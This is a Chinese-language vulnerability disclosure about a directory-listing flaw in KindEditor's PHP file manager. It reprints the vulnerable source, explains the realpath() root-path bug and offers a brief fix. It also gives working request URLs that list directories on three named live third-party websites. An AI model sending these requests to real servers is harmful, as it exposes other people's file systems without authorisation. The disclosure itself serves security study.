因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。 下载地址: 貌似是最新版本的。 测试语言:PHP 测试漏洞文件:/kindeditor/php/file_manager_json.php 默认配置(第16行): $root_path = $php_path . \’../attached/\’; 当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子: $root_path = $php_path . \’../../../upload/\’; 这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。 怎么造成了漏洞的呢?我们分析下。
PHP Code复制内容到剪贴板
<?php
require_once\’JSON.php\’;
$php_path=dirname(__FILE__).\’/\’;
$php_url=dirname($_SERVER[\’PHP_SELF\’]).\’/\’;
$root_path=$php_path.\’../../../upload/\’;
$root_url=$php_url.\’../../../upload/\’;
$ext_arr=array(\’gif\’,\’jpg\’,\’jpeg\’,\’png\’,\’bmp\’);
$dir_name=emptyempty($_GET[\’dir\’])?\’\’:trim($_GET[\’dir\’]);
if(!in_array($dir_name,array(\’\’,\’image\’,\’flash\’,\’media\’,\’file\’))){
echo"InvalidDirectoryname.";
exit;
}
if($dir_name!==\’\’){
$root_path.=$dir_name."/";
$root_url.=$dir_name."/";
if(!file_exists($root_path)){
mkdir($root_path);
}
}
if(emptyempty($_GET[\’path\’])){
$current_path=realpath($root_path).\’/\’;
$current_url=$root_url;
$current_dir_path=\’\’;
$moveup_dir_path=\’\’;
}else{
$current_path=realpath($root_path).\’/\’.$_GET[\’path\’];
$current_url=$root_url.$_GET[\’path\’];
$current_dir_path=$_GET[\’path\’];
$moveup_dir_path=preg_replace(\’/(.*?)[^\\/]+\\/$/\’,\’$1\’,$current_dir_path);
}
$order=emptyempty($_GET[\’order\’])?\’name\’:strtolower($_GET[\’order\’]);
if(preg_match(\’/\\.\\./\’,$current_path)){
echo\’Accessisnotallowed.\’;
exit;
}
if(!preg_match(\’/\\/$/\’,$current_path)){
echo\’Parameterisnotvalid.\’;
exit;
}
if(!file_exists($current_path)||!is_dir($current_path)){
echo\’Directorydoesnotexist.\’;
exit;
}
$file_list=array();
if($handle=opendir($current_path)){
$i=0;
while(false!==($filename=readdir($handle))){
if($filename{0}==\’.\’)continue;
$file=$current_path.$filename;
if(is_dir($file)){
$file_list[$i][\’is_dir\’]=true;
$file_list[$i][\’has_file\’]=(count(scandir($file))>2);
$file_list[$i][\’filesize\’]=0;
$file_list[$i][\’is_photo\’]=false;
$file_list[$i][\’filetype\’]=\’\’;
}else{
$file_list[$i][\’is_dir\’]=false;
$file_list[$i][\’has_file\’]=false;
$file_list[$i][\’filesize\’]=filesize($file);
$file_list[$i][\’dir_path\’]=\’\’;
$file_ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));
$file_list[$i][\’is_photo\’]=in_array($file_ext,$ext_arr);
$file_list[$i][\’filetype\’]=$file_ext;
}
$file_list[$i][\’filename\’]=$filename;
$file_list[$i][\’datetime\’]=date(\’Y-m-dH:i:s\’,filemtime($file));
$i++;
}
closedir($handle);
}
functioncmp_func($a,$b){
global$order;
if($a[\’is_dir\’]&&!$b[\’is_dir\’]){
return-1;
}elseif(!$a[\’is_dir\’]&&$b[\’is_dir\’]){
return1;
}else{
if($order==\’size\’){
if($a[\’filesize\’]>$b[\’filesize\’]){
return1;
}elseif($a[\’filesize\’]<$b[\’filesize\’]){
return-1;
}else{
return0;
}
}elseif($order==\’type\’){
returnstrcmp($a[\’filetype\’],$b[\’filetype\’]);
}else{
returnstrcmp($a[\’filename\’],$b[\’filename\’]);
}
}
}
usort($file_list,\’cmp_func\’);
$result=array();
$result[\’moveup_dir_path\’]=$moveup_dir_path;
$result[\’current_dir_path\’]=$current_dir_path;
$result[\’current_url\’]=$current_url;
$result[\’total_count\’]=count($file_list);
$result[\’file_list\’]=$file_list;
header(\’Content-type:application/json;charset=UTF-8\’);
$json=newServices_JSON();
echo$json->encode($result);
第三十八行: $current_path = realpath($root_path) . \’/\’; 当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的\’/\’ $current_path所以默认就等于\’/\’ 当提交了$_GET[\’path\’]以后,而且$_GET[\’path\’]要以\’/\’为结尾(有验证),所以,我们就可以构造浏览全盘目录了。 kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) 接着上面给出验证的(互联网找到几个): 先给本地的(attached文件夹被我删了):互联网找到的: http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=imagehttp://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/ http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/
修复方案:再验证下绝对路径?